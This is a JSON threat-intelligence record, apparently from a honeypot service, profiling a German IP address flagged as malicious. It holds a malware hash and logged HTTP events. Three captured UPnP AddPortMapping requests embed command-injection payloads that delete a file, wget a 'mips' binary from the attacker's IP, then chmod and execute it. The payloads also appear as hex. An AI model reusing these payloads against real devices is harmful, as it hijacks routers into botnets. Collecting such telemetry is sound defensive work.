{"ip":"176.65.139.76","observed":true,"total_events":52,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"2 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["2 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 4,920 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"4,920 bytes sent","bytes_sent":4920,"session_seconds":2,"persistent":false},"basis":"first_contact"},"first_seen":"2026-03-22T15:55:03","last_seen":"2026-10-10T11:27:15","events_24h":0,"events_7d":3,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"DE","country_name":"Germany","region":"","city":"","lat":51.2993,"lon":9.491,"asn":219502,"org":"Storm Industries LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"09f9ce3b285f51a6193b0714c8d321c7b591adc0ec26e96d81d1c2fd45ff26d5","family":"flooder","vt_name":"r7ca2.exe","malicious":12,"total":75,"vt_status":"known","delivery":"wget","url_path":"/picsdesc.xml","dest_port":52869,"hits":3,"last_seen":"2026-10-10 11:27:14"}],"udp":null,"interaction":null,"top_ports":[{"port":8080,"proto":"tcp","label":"HTTP-alt","count":49},{"port":52869,"proto":"tcp","label":"","count":3}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cuq050_00840812_107c8b82"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b11cuq050_00840812_107c8b82":1},"akin_families":{},"user_agents":["Go-http-client/1.1"],"timeline":[{"date":"2026-10-10","count":3}],"recent_events":[{"timestamp":"2026-10-10T11:27:15","port":52869,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"622\",\"host\":\"<HONEYPOT>:52869\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"Go-http-client/1.1\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; chmod 777 t; ./t Exploit.realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/picsdesc.xml","summary":"","payload_hex":"504f5354202f70696373646573632e786d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a35323836390d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e74656e742d4c656e6774683a203632320d0a536f6170616374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373435313c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e606364202f746d702f3b2063686d6f642037373720743b202e2f74204578706c6f69742e7265616c74656b603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"Go-http-client/1.1","ja3":"","session":"742c7483-e734-42d8-b067-3617b43c568d","seq":3,"duration_ms":1731,"bytes_in":2472,"bytes_out":234},{"timestamp":"2026-10-10T11:27:14","port":52869,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"598\",\"host\":\"<HONEYPOT>:52869\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"Go-http-client/1.1\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf t`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/picsdesc.xml","summary":"","payload_hex":"504f5354202f70696373646573632e786d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a35323836390d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e74656e742d4c656e6774683a203539380d0a536f6170616374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373434393c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e606364202f746d702f3b20726d202d72662074603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"Go-http-client/1.1","ja3":"","session":"742c7483-e734-42d8-b067-3617b43c568d","seq":1,"duration_ms":100,"bytes_in":807,"bytes_out":78},{"timestamp":"2026-10-10T11:27:14","port":52869,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"625\",\"host\":\"<HONEYPOT>:52869\",\"soapaction\":\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\",\"user-agent\":\"Go-http-client/1.1\"}","body":"<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; wget http://176.65.139.76/mips -O t`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/picsdesc.xml","summary":"","payload_hex":"504f5354202f70696373646573632e786d6c20485454502f312e310d0a486f73743a20<HONEYPOT>3a35323836390d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e74656e742d4c656e6774683a203632350d0a536f6170616374696f6e3a2075726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a3123416464506f72744d617070696e670d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f786d6c2076657273696f6e3d22312e3022203f3e3c733a456e76656c6f706520786d6c6e733a733d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220733a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c733a426f64793e3c753a416464506f72744d617070696e6720786d6c6e733a753d2275726e3a736368656d61732d75706e702d6f72673a736572766963653a57414e4950436f6e6e656374696f6e3a31223e3c4e657752656d6f7465486f73743e3c2f4e657752656d6f7465486f73743e3c4e657745787465726e616c506f72743e34373435303c2f4e657745787465726e616c506f72743e3c4e657750726f746f636f6c3e5443503c2f4e657750726f746f636f6c3e3c4e6577496e7465726e616c506f72743e34343338323c2f4e6577496e7465726e616c506f72743e3c4e6577496e7465726e616c436c69656e743e606364202f746d702f3b207767657420687474703a2f2f3137362e36352e3133392e37362f6d697073202d4f2074603c2f4e6577496e7465726e616c436c69656e743e3c4e6577456e61626c65643e313c2f4e6577456e61626c65643e3c4e6577506f72744d617070696e674465736372697074696f6e3e73796e637468696e673c2f4e6577506f72744d617070696e674465736372697074696f6e3e3c4e65774c656173654475726174696f6e3e303c2f4e65774c656173654475726174696f6e3e3c2f753a416464506f72744d617070696e673e3c2f733a426f64793e3c2f733a456e76656c6f70653e","method":"POST","user_agent":"Go-http-client/1.1","ja3":"","session":"742c7483-e734-42d8-b067-3617b43c568d","seq":2,"duration_ms":430,"bytes_in":1641,"bytes_out":156},{"timestamp":"2026-04-08T06:31:37","port":8080,"proto":"tcp","app_proto":"","app_protocol":"google","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ONNECT www.google.com:443 HTTP/1.1\r\nHost: www.google.com:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n","payload_hex":"434f4e4e454354207777772e676f6f676c652e636f6d3a34343320485454502f312e310d0a486f73743a207777772e676f6f676c652e636f6d3a3434330d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a0d0a","method":"","user_agent":"","ja3":"","session":"079754b5-b55d-4ea8-b630-6ee26d377098","seq":0,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3d71bb27a3348552","strings":["ONNECT www.google.com:443 HTTP/1.1","Host: www.google.com:443","User-Agent: Go-http-client/1.1"],"iocs":{"domains":["www.google.com"]}}},{"timestamp":"2026-04-08T04:59:54","port":8080,"proto":"tcp","app_proto":"","app_protocol":"google","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ONNECT www.google.com:443 HTTP/1.1\r\nHost: www.google.com:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n","payload_hex":"434f4e4e454354207777772e676f6f676c652e636f6d3a34343320485454502f312e310d0a486f73743a207777772e676f6f676c652e636f6d3a3434330d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a0d0a","method":"","user_agent":"","ja3":"","session":"4379c206-984a-4c5f-a400-8a5defe52721","seq":0,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3d71bb27a3348552","strings":["ONNECT www.google.com:443 HTTP/1.1","Host: www.google.com:443","User-Agent: Go-http-client/1.1"],"iocs":{"domains":["www.google.com"]}}},{"timestamp":"2026-04-08T04:52:59","port":8080,"proto":"tcp","app_proto":"","app_protocol":"google","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ONNECT www.google.com:443 HTTP/1.1\r\nHost: www.google.com:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n","payload_hex":"434f4e4e454354207777772e676f6f676c652e636f6d3a34343320485454502f312e310d0a486f73743a207777772e676f6f676c652e636f6d3a3434330d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a0d0a","method":"","user_agent":"","ja3":"","session":"be01123f-1186-4f53-a0ec-919cec57e400","seq":0,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3d71bb27a3348552","strings":["ONNECT www.google.com:443 HTTP/1.1","Host: www.google.com:443","User-Agent: Go-http-client/1.1"],"iocs":{"domains":["www.google.com"]}}},{"timestamp":"2026-04-08T02:39:47","port":8080,"proto":"tcp","app_proto":"","app_protocol":"google","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ONNECT www.google.com:443 HTTP/1.1\r\nHost: www.google.com:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n","payload_hex":"434f4e4e454354207777772e676f6f676c652e636f6d3a34343320485454502f312e310d0a486f73743a207777772e676f6f676c652e636f6d3a3434330d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a0d0a","method":"","user_agent":"","ja3":"","session":"ee08fe83-f775-48a5-8a9d-4e4da909886b","seq":0,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3d71bb27a3348552","strings":["ONNECT www.google.com:443 HTTP/1.1","Host: www.google.com:443","User-Agent: Go-http-client/1.1"],"iocs":{"domains":["www.google.com"]}}},{"timestamp":"2026-04-08T00:14:47","port":8080,"proto":"tcp","app_proto":"","app_protocol":"google","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ONNECT www.google.com:443 HTTP/1.1\r\nHost: www.google.com:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n","payload_hex":"434f4e4e454354207777772e676f6f676c652e636f6d3a34343320485454502f312e310d0a486f73743a207777772e676f6f676c652e636f6d3a3434330d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a0d0a","method":"","user_agent":"","ja3":"","session":"1c8f110b-7984-4984-843c-e50461327135","seq":0,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3d71bb27a3348552","strings":["ONNECT www.google.com:443 HTTP/1.1","Host: www.google.com:443","User-Agent: Go-http-client/1.1"],"iocs":{"domains":["www.google.com"]}}},{"timestamp":"2026-04-07T22:58:19","port":8080,"proto":"tcp","app_proto":"","app_protocol":"google","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ONNECT www.google.com:443 HTTP/1.1\r\nHost: www.google.com:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n","payload_hex":"434f4e4e454354207777772e676f6f676c652e636f6d3a34343320485454502f312e310d0a486f73743a207777772e676f6f676c652e636f6d3a3434330d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a0d0a","method":"","user_agent":"","ja3":"","session":"1715eb97-f87a-4ba5-ad7f-f78bcecb4d57","seq":0,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3d71bb27a3348552","strings":["ONNECT www.google.com:443 HTTP/1.1","Host: www.google.com:443","User-Agent: Go-http-client/1.1"],"iocs":{"domains":["www.google.com"]}}},{"timestamp":"2026-04-07T04:18:10","port":8080,"proto":"tcp","app_proto":"","app_protocol":"google","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ONNECT www.google.com:443 HTTP/1.1\r\nHost: www.google.com:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n","payload_hex":"434f4e4e454354207777772e676f6f676c652e636f6d3a34343320485454502f312e310d0a486f73743a207777772e676f6f676c652e636f6d3a3434330d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a0d0a","method":"","user_agent":"","ja3":"","session":"20d5e3f4-e4cc-4dee-9924-49de90191703","seq":0,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"3d71bb27a3348552","strings":["ONNECT www.google.com:443 HTTP/1.1","Host: www.google.com:443","User-Agent: Go-http-client/1.1"],"iocs":{"domains":["www.google.com"]}}}],"http_methods":[{"method":"POST","count":3}],"distinct_ports_total":2,"top_paths":[{"path":"/picsdesc.xml","count":3,"ports":1}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Content-Length","Host","Soapaction","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"622","notable":false},{"name":"Host","value":"<HONEYPOT>:52869","notable":false},{"name":"Soapaction","value":"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping","notable":false},{"name":"User-Agent","value":"Go-http-client/1.1","notable":false}],"distinct_sets":1,"events_with_headers":3},"tags":[],"data_as_of":"2026-10-17T01:43:29.131112+00:00"}